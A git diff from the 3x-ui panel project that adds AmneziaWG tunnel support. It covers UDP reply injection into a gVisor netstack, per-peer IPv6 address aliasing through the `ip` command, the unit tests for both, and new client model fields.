+		Payload:            buffer.MakeWithData(payload),
+	})
+	defer pkt.DecRef()
+
+	udpHdr := header.UDP(pkt.TransportHeader().Push(header.UDPMinimumSize))
+	udpHdr.Encode(&header.UDPFields{
+		SrcPort: from.Port(),
+		DstPort: to.Port(),
+		Length:  uint16(udpLen),
+	})
+	xsum := header.PseudoHeaderChecksum(header.UDPProtocolNumber, srcIP, dstIP, uint16(udpLen))
+	udpHdr.SetChecksum(^udpHdr.CalculateChecksum(checksum.Checksum(payload, xsum)))
+
+	if isIPv4 {
+		ipHdr := header.IPv4(pkt.NetworkHeader().Push(header.IPv4MinimumSize))
+		ipHdr.Encode(&header.IPv4Fields{
+			TotalLength: uint16(header.IPv4MinimumSize + udpLen),
+			TTL:         64,
+			Protocol:    uint8(header.UDPProtocolNumber),
+			SrcAddr:     srcIP,
+			DstAddr:     dstIP,
+		})
+		ipHdr.SetChecksum(^ipHdr.CalculateChecksum())
+	} else {
+		ipHdr := header.IPv6(pkt.NetworkHeader().Push(header.IPv6MinimumSize))
+		ipHdr.Encode(&header.IPv6Fields{
+			PayloadLength:     uint16(udpLen),
+			TransportProtocol: header.UDPProtocolNumber,
+			HopLimit:          64,
+			SrcAddr:           srcIP,
+			DstAddr:           dstIP,
+		})
+	}
+
+	if tcpipErr := gstack.WriteRawPacket(1, ipProtocol, buffer.MakeWithView(pkt.ToView())); tcpipErr != nil {
+		return fmt.Errorf("amneziawgnet: WriteRawPacket: %s", tcpipErr)
+	}
+	return nil
+}

+ 156 - 0
internal/amneziawgnet/udp_test.go

@@ -0,0 +1,156 @@
+package amneziawgnet
+
+import (
+	"fmt"
+	"net/netip"
+	"testing"
+	"time"
+
+	awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestNewDeviceUDPHandlerAndReply is the UDP counterpart of
+// TestNewDeviceHandshakeForwarderAndIdentity: this package's own udp.go was
+// refactored from the Phase 0 spike's bake-the-dial-in version to a generic
+// handler-plus-reply-injection design (see AttachUDPHandler/WriteUDPReply's
+// doc comments), a real behavior change worth its own verification rather
+// than assuming the port preserved correctness -- UDP was flagged as "the
+// harder half" in the migration plan's own risk list, precisely because
+// gVisor has no udp.NewForwarder and the reply path has to be constructed
+// by hand.
+func TestNewDeviceUDPHandlerAndReply(t *testing.T) {
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+
+	const listenPort = 58713 // distinct from the TCP test's port
+	const wantEmail = "[email protected]"
+	const echoPayload = "hello-from-client"
+
+	inst := amneziawg.Instance{
+		Id:            2,
+		InterfaceName: "awgtest2",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.202.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{{
+			Email:      wantEmail,
+			PublicKey:  clientPub,
+			AllowedIPs: []string{"10.202.0.2/32"},
+		}},
+	}
+
+	dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("newUnconfiguredDevice: %v", err)
+	}
+	defer dev.Close()
+
+	idx := NewPeerIndex(inst.Peers)
+	// Never configured anywhere server-side, same idea as the TCP test.
+	wantDest := netip.MustParseAddrPort("10.202.9.9:5353")
+
+	identityErrCh := make(chan error, 8)
+	AttachUDPHandler(dev.Stack, func(src, dst netip.AddrPort, payload []byte) {
+		if peer, ok := idx.Lookup(src.Addr()); !ok || peer.Email != wantEmail {
+			identityErrCh <- fmt.Errorf("peer identity lookup for src %v: ok=%v email=%q, want %q", src, ok, peer.Email, wantEmail)
+			return
+		}
+		if dst != wantDest {
+			identityErrCh <- fmt.Errorf("recovered dest = %v, want %v", dst, wantDest)
+			return
+		}
+		// Echo the payload back, posing as a reply from the destination the
+		// client dialed -- exactly what a real relay's downstream reply
+		// would look like from the tunnel's point of view.
+		if err := WriteUDPReply(dev.Stack, dst, src, payload); err != nil {
+			identityErrCh <- fmt.Errorf("WriteUDPReply: %w", err)
+		}
+	})
+
+	// Configure (IpcSet) must come after AttachUDPHandler -- see
+	// newUnconfiguredDevice's doc comment.
+	if err := dev.Configure(inst, DeviceOptions{}); err != nil {
+		t.Fatalf("Configure: %v", err)
+	}
+
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.202.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	conn, err := clientNet.DialUDPAddrPort(netip.AddrPort{}, wantDest)
+	if err != nil {
+		t.Fatalf("client DialUDPAddrPort: %v", err)
+	}
+	defer conn.Close()
+
+	deadline := time.Now().Add(5 * time.Second)
+	var buf [256]byte
+	for {
+		select {
+		case err := <-identityErrCh:
+			t.Fatal(err)
+		default:
+		}
+
+		_ = conn.SetWriteDeadline(time.Now().Add(200 * time.Millisecond))
+		if _, err := conn.Write([]byte(echoPayload)); err != nil {
+			if time.Now().After(deadline) {
+				t.Fatalf("client write never succeeded: %v", err)
+			}
+			continue
+		}
+
+		_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
+		n, err := conn.Read(buf[:])
+		if err != nil {
+			if time.Now().After(deadline) {
+				t.Fatalf("client never received a reply: %v", err)
+			}
+			continue
+		}
+		if got := string(buf[:n]); got != echoPayload {
+			t.Fatalf("echoed payload = %q, want %q", got, echoPayload)
+		}
+		return
+	}
+}

+ 165 - 0
internal/amneziawgnet/v6alias.go

@@ -0,0 +1,165 @@
+// Phase 3.5: restoring each opted-in peer's distinct public IPv6 source
+// identity for peer-initiated outbound connections. The retired
+// kernel-module architecture used NDP-proxying (ip -6 neigh add proxy) to
+// hand inbound traffic off to a real awg<N> kernel interface — this path has
+// no such interface at all (the tunnel lives entirely inside an in-process
+// gVisor netstack), so there is nothing for NDP-proxying to forward into.
+// Scoped to what this path actually needs — a peer's own outbound
+// connections carrying a distinct source address, not unsolicited inbound
+// connections toward the peer (that's the separate, not-yet-built Phase
+// 3.6 port-forwarding) — a host-owned address alias is sufficient and
+// simpler: once the kernel genuinely owns the address, Xray's freedom
+// outbound can bind an egress socket to it, and return traffic lands on a
+// normal, locally-owned address with no forwarding or NDP-proxy involved.
+package amneziawgnet
+
+import (
+	"bytes"
+	"context"
+	"os/exec"
+	"strings"
+	"time"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// v6Alias is one host-owned IPv6 address alias this package manages, always
+// applied as a /128 regardless of whatever prefix width the peer's own
+// AllowedIPs entry happens to use.
+type v6Alias struct {
+	Addr  string
+	Iface string
+}
+
+// effectiveIPv6ExternalInterface returns IPv6ExternalInterface if the admin
+// set one, falling back to ExternalInterface — matches the frontend's own
+// ipv6ExternalInterfaceHint copy ("Leave empty to reuse External
+// Interface") and the retired kernel-module PostUp's identical fallback.
+func effectiveIPv6ExternalInterface(inst amneziawg.Instance) string {
+	if inst.IPv6ExternalInterface != "" {
+		return inst.IPv6ExternalInterface
+	}
+	return inst.ExternalInterface
+}
+
+// V6AliasesActive reports whether inst is fully configured for per-peer IPv6
+// identity. The Xray-side v6 egress injector must use this exact gate too —
+// see xray.go's injectAmneziawgV6Egress — so the two halves can't diverge.
+func V6AliasesActive(inst amneziawg.Instance) bool {
+	return inst.IPv6Enabled && effectiveIPv6ExternalInterface(inst) != ""
+}
+
+// desiredV6Aliases returns the aliases inst wants right now, keyed by peer
+// email. Empty whenever inst isn't fully configured for this feature
+// (IPv6Enabled false, or no usable interface either way) — deliberately
+// what makes "IPv6 toggled off" fall out of diffV6Aliases for free, rather
+// than a separate branch anywhere else.
+func desiredV6Aliases(inst amneziawg.Instance) map[string]v6Alias {
+	out := map[string]v6Alias{}
+	if !V6AliasesActive(inst) {
+		return out
+	}
+	iface := effectiveIPv6ExternalInterface(inst)
+	for _, p := range inst.Peers {
+		if p.Email == "" {
+			continue
+		}
+		if addr := amneziawg.FirstIPv6(p.AllowedIPs); addr != "" {
+			out[p.Email] = v6Alias{Addr: addr, Iface: iface}
+		}
+	}
+	return out
+}
+
+// diffV6Aliases returns the ip -6 addr add/del calls needed to move the
+// host from oldInst's alias set to newInst's. Pass amneziawg.Instance{} as
+// oldInst for "nothing was aliased before" (a brand new instance) and as
+// newInst for "tear down entirely" (Remove/StopAll/Reconcile's stop-loop).
+// A peer whose alias is unchanged appears in neither slice — the common
+// case on every steady-state reconcile tick, so a healthy system issues no
+// exec calls at all most of the time.
+func diffV6Aliases(oldInst, newInst amneziawg.Instance) (add, remove []v6Alias) {
+	oldSet, newSet := desiredV6Aliases(oldInst), desiredV6Aliases(newInst)
+	for email, oldAlias := range oldSet {
+		if newAlias, ok := newSet[email]; ok && newAlias == oldAlias {
+			continue
+		}
+		remove = append(remove, oldAlias)
+	}
+	for email, newAlias := range newSet {
+		if oldAlias, ok := oldSet[email]; ok && oldAlias == newAlias {
+			continue
+		}
+		add = append(add, newAlias)
+	}
+	return add, remove
+}
+
+// runIP is the seam tests swap to assert exact invocations without a real
+// ip binary — this package has no internal/database dependency, so
+// everything except this var's real invocation builds and unit-tests fine
+// even on a non-Linux dev machine; the real command is verified manually
+// against a Linux VPS, matching this project's established verification
+// pattern for other OS-effecting AmneziaWG changes.
+var runIP = func(ctx context.Context, args ...string) (stderr string, err error) {
+	cmd := exec.CommandContext(ctx, "ip", args...)
+	var buf bytes.Buffer
+	cmd.Stderr = &buf
+	err = cmd.Run()
+	return buf.String(), err
+}
+
+const ipCommandTimeout = 3 * time.Second
+
+// applyV6Aliases runs every add before any remove, so a peer whose address
+// changed is never briefly unaliased (briefly having both old and new
+// aliased at once is harmless). Never surfaces an error — an alias failing
+// only narrows that one peer's own outbound-source-identity feature, never
+// a reason to fail the tunnel or its SOCKS5 relay.
+func applyV6Aliases(add, remove []v6Alias) {
+	for _, a := range add {
+		addV6Alias(a)
+	}
+	for _, a := range remove {
+		removeV6Alias(a)
+	}
+}
+
+func addV6Alias(a v6Alias) {
+	ctx, cancel := context.WithTimeout(context.Background(), ipCommandTimeout)
+	defer cancel()
+	// nodad: this address is a specific peer's own admin-assigned identity,
+	// nothing else on the link should ever claim it, so the ~1s Duplicate
+	// Address Detection window before the kernel would otherwise mark it
+	// usable is pure latency with no real collision to detect.
+	stderr, err := runIP(ctx, "-6", "addr", "add", a.Addr+"/128", "dev", a.Iface, "nodad")
+	if err == nil {
+		logger.Infof("amneziawgnet: aliased IPv6 address %s onto %s", a.Addr, a.Iface)
+		return
+	}
+	if strings.Contains(stderr, "File exists") {
+		// Already the desired end state -- most commonly hit once, harmlessly,
+		// right after an ungraceful panel restart (the OS-level alias from
+		// before the crash outlives the process; the in-memory managed map
+		// doesn't).
+		return
+	}
+	logger.Warningf("amneziawgnet: alias IPv6 address %s onto %s: %v (%s)", a.Addr, a.Iface, err, strings.TrimSpace(stderr))
+}
+
+func removeV6Alias(a v6Alias) {
+	ctx, cancel := context.WithTimeout(context.Background(), ipCommandTimeout)
+	defer cancel()
+	stderr, err := runIP(ctx, "-6", "addr", "del", a.Addr+"/128", "dev", a.Iface)
+	if err == nil {
+		logger.Infof("amneziawgnet: removed IPv6 alias %s from %s", a.Addr, a.Iface)
+		return
+	}
+	if strings.Contains(stderr, "Cannot assign requested address") || strings.Contains(stderr, "Cannot find device") {
+		// Already gone (the address itself, or the whole interface) -- for a
+		// delete, the desired end state ("not aliased here") already holds.
+		return
+	}
+	logger.Warningf("amneziawgnet: remove IPv6 alias %s from %s: %v (%s)", a.Addr, a.Iface, err, strings.TrimSpace(stderr))
+}

+ 277 - 0
internal/amneziawgnet/v6alias_test.go

@@ -0,0 +1,277 @@
+package amneziawgnet
+
+import (
+	"context"
+	"errors"
+	"testing"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+)
+
+func peerWithIPs(email string, ips ...string) amneziawg.Peer {
+	return amneziawg.Peer{Email: email, PublicKey: "pub-" + email, AllowedIPs: ips}
+}
+
+func instV6(enabled bool, extIface, v6ExtIface string, peers ...amneziawg.Peer) amneziawg.Instance {
+	return amneziawg.Instance{
+		Id:                    1,
+		IPv6Enabled:           enabled,
+		ExternalInterface:     extIface,
+		IPv6ExternalInterface: v6ExtIface,
+		Peers:                 peers,
+	}
+}
+
+func TestV6AliasesActive(t *testing.T) {
+	cases := []struct {
+		name string
+		inst amneziawg.Instance
+		want bool
+	}{
+		{"enabled with interface", instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128")), true},
+		{"enabled, IPv6ExternalInterface only", instV6(true, "", "eth1", peerWithIPs("a@x", "fd86::2/128")), true},
+		{"disabled", instV6(false, "eth0", "", peerWithIPs("a@x", "fd86::2/128")), false},
+		{"enabled, no interface either way", instV6(true, "", "", peerWithIPs("a@x", "fd86::2/128")), false},
+	}
+	for _, c := range cases {
+		if got := V6AliasesActive(c.inst); got != c.want {
+			t.Errorf("%s: V6AliasesActive = %v, want %v", c.name, got, c.want)
+		}
+	}
+}
+
+func TestDesiredV6AliasesDisabledOrNoInterfaceReturnsEmpty(t *testing.T) {
+	cases := []struct {
+		name string
+		inst amneziawg.Instance
+	}{
+		{"IPv6Enabled false", instV6(false, "", "eth0", peerWithIPs("a@x", "fd86::2/128"))},
+		{"no interface either way", instV6(true, "", "", peerWithIPs("a@x", "fd86::2/128"))},
+	}
+	for _, c := range cases {
+		if got := desiredV6Aliases(c.inst); len(got) != 0 {
+			t.Errorf("%s: desiredV6Aliases = %v, want empty", c.name, got)
+		}
+	}
+}
+
+func TestDesiredV6AliasesFallsBackToExternalInterface(t *testing.T) {
+	inst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+	got := desiredV6Aliases(inst)
+	if got["a@x"].Iface != "eth0" {
+		t.Fatalf("expected fallback to ExternalInterface eth0, got %+v", got)
+	}
+
+	inst2 := instV6(true, "eth0", "eth1", peerWithIPs("a@x", "fd86::2/128"))
+	got2 := desiredV6Aliases(inst2)
+	if got2["a@x"].Iface != "eth1" {
+		t.Fatalf("expected IPv6ExternalInterface eth1 to win over ExternalInterface, got %+v", got2)
+	}
+}
+
+func TestDesiredV6AliasesSkipsPeersWithoutEmailOrV6Address(t *testing.T) {
+	inst := instV6(true, "eth0", "",
+		peerWithIPs("", "fd86::2/128"),    // no email
+		peerWithIPs("b@x", "10.8.1.2/32"), // v4 only, no v6
+		peerWithIPs("c@x", "fd86::3/128"), // qualifies
+	)
+	got := desiredV6Aliases(inst)
+	if len(got) != 1 {
+		t.Fatalf("desiredV6Aliases = %+v, want exactly one entry (c@x)", got)
+	}
+	if _, ok := got["c@x"]; !ok {
+		t.Fatalf("desiredV6Aliases = %+v, want c@x present", got)
+	}
+}
+
+func TestDiffV6AliasesNoOpWhenUnchanged(t *testing.T) {
+	inst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+	add, remove := diffV6Aliases(inst, inst)
+	if len(add) != 0 || len(remove) != 0 {
+		t.Fatalf("expected no-op for an unchanged instance, got add=%v remove=%v", add, remove)
+	}
+}
+
+func TestDiffV6AliasesBrandNewInstanceIsAddOnly(t *testing.T) {
+	newInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"), peerWithIPs("b@x", "fd86::3/128"))
+	add, remove := diffV6Aliases(amneziawg.Instance{}, newInst)
+	if len(remove) != 0 {
+		t.Fatalf("expected no removals for a brand new instance, got %v", remove)
+	}
+	if len(add) != 2 {
+		t.Fatalf("expected both peers added, got %v", add)
+	}
+}
+
+func TestDiffV6AliasesTornDownInstanceIsRemoveOnly(t *testing.T) {
+	oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"), peerWithIPs("b@x", "fd86::3/128"))
+	add, remove := diffV6Aliases(oldInst, amneziawg.Instance{})
+	if len(add) != 0 {
+		t.Fatalf("expected no adds when tearing down, got %v", add)
+	}
+	if len(remove) != 2 {
+		t.Fatalf("expected both peers removed, got %v", remove)
+	}
+}
+
+func TestDiffV6AliasesIPv6EnabledToggledOffRemovesAllAddsNone(t *testing.T) {
+	oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+	newInst := instV6(false, "eth0", "", peerWithIPs("a@x", "fd86::2/128")) // same peers, feature disabled
+	add, remove := diffV6Aliases(oldInst, newInst)
+	if len(add) != 0 {
+		t.Fatalf("expected no adds when IPv6Enabled is toggled off, got %v", add)
+	}
+	if len(remove) != 1 {
+		t.Fatalf("expected the previously-aliased peer removed, got %v", remove)
+	}
+}
+
+func TestDiffV6AliasesAddressChangeForSamePeerIsRemoveOldAddNew(t *testing.T) {
+	oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+	newInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::99/128"))
+	add, remove := diffV6Aliases(oldInst, newInst)
+	if len(add) != 1 || add[0].Addr != "fd86::99" {
+		t.Fatalf("expected new address added, got %v", add)
+	}
+	if len(remove) != 1 || remove[0].Addr != "fd86::2" {
+		t.Fatalf("expected old address removed, got %v", remove)
+	}
+}
+
+func TestDiffV6AliasesInterfaceChangeReAliasesUnchangedPeers(t *testing.T) {
+	oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+	newInst := instV6(true, "eth1", "", peerWithIPs("a@x", "fd86::2/128")) // same address, interface moved
+	add, remove := diffV6Aliases(oldInst, newInst)
+	if len(add) != 1 || add[0].Iface != "eth1" {
+		t.Fatalf("expected re-add on the new interface, got %v", add)
+	}
+	if len(remove) != 1 || remove[0].Iface != "eth0" {
+		t.Fatalf("expected removal from the old interface, got %v", remove)
+	}
+}
+
+func TestDiffV6AliasesPeerRemovedFromInstanceIsRemoveOnly(t *testing.T) {
+	oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"), peerWithIPs("b@x", "fd86::3/128"))
+	newInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128")) // b@x removed
+	add, remove := diffV6Aliases(oldInst, newInst)
+	if len(add) != 0 {
+		t.Fatalf("expected no adds, got %v", add)
+	}
+	if len(remove) != 1 || remove[0].Addr != "fd86::3" {
+		t.Fatalf("expected only b@x's address removed, got %v", remove)
+	}
+}
+
+// --- exec-layer tests: swap runIP, never invoke a real ip binary ---
+
+func withFakeRunIP(t *testing.T, fn func(ctx context.Context, args ...string) (string, error)) *[][]string {
+	t.Helper()
+	var calls [][]string
+	orig := runIP
+	runIP = func(ctx context.Context, args ...string) (string, error) {
+		calls = append(calls, append([]string(nil), args...))
+		return fn(ctx, args...)
+	}
+	t.Cleanup(func() { runIP = orig })
+	return &calls
+}
+
+func TestAddV6AliasPassesExpectedArgs(t *testing.T) {
+	calls := withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "", nil
+	})
+	addV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+	if len(*calls) != 1 {
+		t.Fatalf("expected exactly one runIP call, got %d", len(*calls))
+	}
+	want := []string{"-6", "addr", "add", "fd86::2/128", "dev", "eth0", "nodad"}
+	got := (*calls)[0]
+	if len(got) != len(want) {
+		t.Fatalf("args = %v, want %v", got, want)
+	}
+	for i := range want {
+		if got[i] != want[i] {
+			t.Fatalf("args = %v, want %v", got, want)
+		}
+	}
+}
+
+func TestAddV6AliasFileExistsIsSwallowed(t *testing.T) {
+	withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "RTNETLINK answers: File exists", errors.New("exit status 2")
+	})
+	// Must not panic and must return normally -- there is nothing else to
+	// assert on since addV6Alias has no return value, matching this
+	// codebase's existing best-effort exec-call conventions (no test in
+	// this repo asserts on logger output for a swallowed vs. warned
+	// classification; see internal/web/service/server.go's own untested
+	// exec.CommandContext call sites).
+	addV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+}
+
+func TestAddV6AliasOtherFailureDoesNotPanic(t *testing.T) {
+	withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "RTNETLINK answers: Cannot find device \"eth9\"", errors.New("exit status 1")
+	})
+	addV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth9"})
+}
+
+func TestRemoveV6AliasPassesExpectedArgs(t *testing.T) {
+	calls := withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "", nil
+	})
+	removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+	want := []string{"-6", "addr", "del", "fd86::2/128", "dev", "eth0"}
+	got := (*calls)[0]
+	if len(got) != len(want) {
+		t.Fatalf("args = %v, want %v", got, want)
+	}
+	for i := range want {
+		if got[i] != want[i] {
+			t.Fatalf("args = %v, want %v", got, want)
+		}
+	}
+}
+
+func TestRemoveV6AliasAddressAlreadyGoneIsSwallowed(t *testing.T) {
+	withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "RTNETLINK answers: Cannot assign requested address", errors.New("exit status 2")
+	})
+	removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+}
+
+func TestRemoveV6AliasDeviceAlreadyGoneIsSwallowed(t *testing.T) {
+	withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "Cannot find device \"eth0\"", errors.New("exit status 1")
+	})
+	removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+}
+
+func TestRemoveV6AliasOtherFailureDoesNotPanic(t *testing.T) {
+	withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "some unrelated failure", errors.New("exit status 1")
+	})
+	removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+}
+
+func TestApplyV6AliasesAddsBeforeRemoves(t *testing.T) {
+	var order []string
+	calls := withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		if args[2] == "add" {
+			order = append(order, "add")
+		} else {
+			order = append(order, "del")
+		}
+		return "", nil
+	})
+	applyV6Aliases(
+		[]v6Alias{{Addr: "fd86::99", Iface: "eth0"}},
+		[]v6Alias{{Addr: "fd86::2", Iface: "eth0"}},
+	)
+	if len(*calls) != 2 {
+		t.Fatalf("expected exactly 2 calls, got %d", len(*calls))
+	}
+	if order[0] != "add" || order[1] != "del" {
+		t.Fatalf("expected add before del, got order=%v", order)
+	}
+}

+ 59 - 40
internal/database/model/model.go

@@ -32,6 +32,7 @@ const (
 	WireGuard   Protocol = "wireguard"
 	WireGuard   Protocol = "wireguard"
 	Hysteria    Protocol = "hysteria"
 	Hysteria    Protocol = "hysteria"
 	MTProto     Protocol = "mtproto"
 	MTProto     Protocol = "mtproto"
+	AmneziaWG   Protocol = "amneziawg"
 )
 )
 
 
 // User represents a user account in the 3x-ui panel.
 // User represents a user account in the 3x-ui panel.
@@ -61,7 +62,7 @@ type Inbound struct {
 	// Xray configuration fields
 	// Xray configuration fields
 	Listen            string   `json:"listen" form:"listen"`
 	Listen            string   `json:"listen" form:"listen"`
 	Port              int      `json:"port" form:"port" validate:"gte=0,lte=65535" example:"443"`
 	Port              int      `json:"port" form:"port" validate:"gte=0,lte=65535" example:"443"`
-	Protocol          Protocol `json:"protocol" form:"protocol" validate:"required,oneof=vmess vless trojan shadowsocks wireguard hysteria http mixed tunnel tun mtproto" example:"vless"`
+	Protocol          Protocol `json:"protocol" form:"protocol" validate:"required,oneof=vmess vless trojan shadowsocks wireguard hysteria http mixed tunnel tun mtproto amneziawg" example:"vless"`
 	Settings          string   `json:"settings" form:"settings"`
 	Settings          string   `json:"settings" form:"settings"`
 	StreamSettings    string   `json:"streamSettings" form:"streamSettings"`
 	StreamSettings    string   `json:"streamSettings" form:"streamSettings"`
 	Tag               string   `json:"tag" form:"tag" gorm:"unique" example:"in-443-tcp"`
 	Tag               string   `json:"tag" form:"tag" gorm:"unique" example:"in-443-tcp"`
@@ -871,31 +872,40 @@ type ClientReverse struct {
 
 
 // Client represents a client configuration for Xray inbounds with traffic limits and settings.
 // Client represents a client configuration for Xray inbounds with traffic limits and settings.
 type Client struct {
 type Client struct {
-	ID           string         `json:"id,omitempty"`       // Unique client identifier
-	Security     string         `json:"security"`           // Security method (e.g., "auto", "aes-128-gcm")
-	Password     string         `json:"password,omitempty"` // Client password
-	Flow         string         `json:"flow,omitempty"`     // Flow control (XTLS)
-	Reverse      *ClientReverse `json:"reverse,omitempty"`  // VLESS simple reverse proxy settings
-	Auth         string         `json:"auth,omitempty"`     // Auth password (Hysteria)
-	PrivateKey   string         `json:"privateKey,omitempty"`
-	PublicKey    string         `json:"publicKey,omitempty"`
-	AllowedIPs   []string       `json:"allowedIPs,omitempty"`
-	PreSharedKey string         `json:"preSharedKey,omitempty"`
-	KeepAlive    int            `json:"keepAlive,omitempty"`
-	Secret       string         `json:"secret,omitempty" example:"ee1234567890abcdef1234567890abcd7777772e636c6f7564666c6172652e636f6d"`
-	AdTag        string         `json:"adTag,omitempty" example:"0123456789abcdef0123456789abcdef"`
-	Email        string         `json:"email"`                        // Client email identifier
-	LimitIP      int            `json:"limitIp"`                      // IP limit for this client
-	TotalGB      int64          `json:"totalGB" form:"totalGB"`       // Total traffic limit in GB
-	ExpiryTime   int64          `json:"expiryTime" form:"expiryTime"` // Expiration timestamp
-	Enable       bool           `json:"enable" form:"enable"`         // Whether the client is enabled
-	TgID         int64          `json:"tgId" form:"tgId"`             // Telegram user ID for notifications
-	SubID        string         `json:"subId" form:"subId"`           // Subscription identifier
-	Group        string         `json:"group,omitempty" form:"group"` // Logical grouping label
-	Comment      string         `json:"comment" form:"comment"`       // Client comment
-	Reset        int            `json:"reset" form:"reset"`           // Reset period in days
-	ResetDay     int            `json:"resetDay" form:"resetDay"`     // Calendar renewal day 1-31, 0 = interval mode
-	ResetMax     int            `json:"resetMax" form:"resetMax"`     // Max auto-renew count, 0 = unlimited
+	ID         string         `json:"id,omitempty"`       // Unique client identifier
+	Security   string         `json:"security"`           // Security method (e.g., "auto", "aes-128-gcm")
+	Password   string         `json:"password,omitempty"` // Client password
+	Flow       string         `json:"flow,omitempty"`     // Flow control (XTLS)
+	Reverse    *ClientReverse `json:"reverse,omitempty"`  // VLESS simple reverse proxy settings
+	Auth       string         `json:"auth,omitempty"`     // Auth password (Hysteria)
+	PrivateKey string         `json:"privateKey,omitempty"`
+	PublicKey  string         `json:"publicKey,omitempty"`
+	AllowedIPs []string       `json:"allowedIPs,omitempty"`
+	// AllowedIPsByInbound optionally overrides AllowedIPs on a per-inbound
+	// basis, keyed by inbound id. Lets one identity attached to both
+	// WireGuard and AmneziaWG carry two genuinely different addresses in a
+	// single Create/Update call instead of the shared AllowedIPs field
+	// being broadcast to every attached tunnel inbound. Absent/unset for a
+	// given inbound id falls back to the shared AllowedIPs exactly as
+	// before -- fully backward compatible for callers that never set this.
+	AllowedIPsByInbound map[int][]string `json:"allowedIPsByInbound,omitempty"`
+	PreSharedKey        string           `json:"preSharedKey,omitempty"`
+	KeepAlive           int              `json:"keepAlive,omitempty"`
+	ForwardedPorts      string           `json:"forwardedPorts,omitempty"` // AmneziaWG per-client port-forwarding spec, e.g. "80,443,8000-8100"
+	Secret              string           `json:"secret,omitempty" example:"ee1234567890abcdef1234567890abcd7777772e636c6f7564666c6172652e636f6d"`
+	AdTag               string           `json:"adTag,omitempty" example:"0123456789abcdef0123456789abcdef"`
+	Email               string           `json:"email"`                        // Client email identifier
+	LimitIP             int              `json:"limitIp"`                      // IP limit for this client
+	TotalGB             int64            `json:"totalGB" form:"totalGB"`       // Total traffic limit in GB
+	ExpiryTime          int64            `json:"expiryTime" form:"expiryTime"` // Expiration timestamp
+	Enable              bool             `json:"enable" form:"enable"`         // Whether the client is enabled
+	TgID                int64            `json:"tgId" form:"tgId"`             // Telegram user ID for notifications
+	SubID               string           `json:"subId" form:"subId"`           // Subscription identifier
+	Group               string           `json:"group,omitempty" form:"group"` // Logical grouping label
+	Comment             string           `json:"comment" form:"comment"`       // Client comment
+	Reset               int              `json:"reset" form:"reset"`           // Reset period in days
+	ResetDay            int              `json:"resetDay" form:"resetDay"`     // Calendar renewal day 1-31, 0 = interval mode
+	ResetMax            int              `json:"resetMax" form:"resetMax"`     // Max auto-renew count, 0 = unlimited
 	// Per-client traffic reset cycle, independent of the inbound's own (#5497).
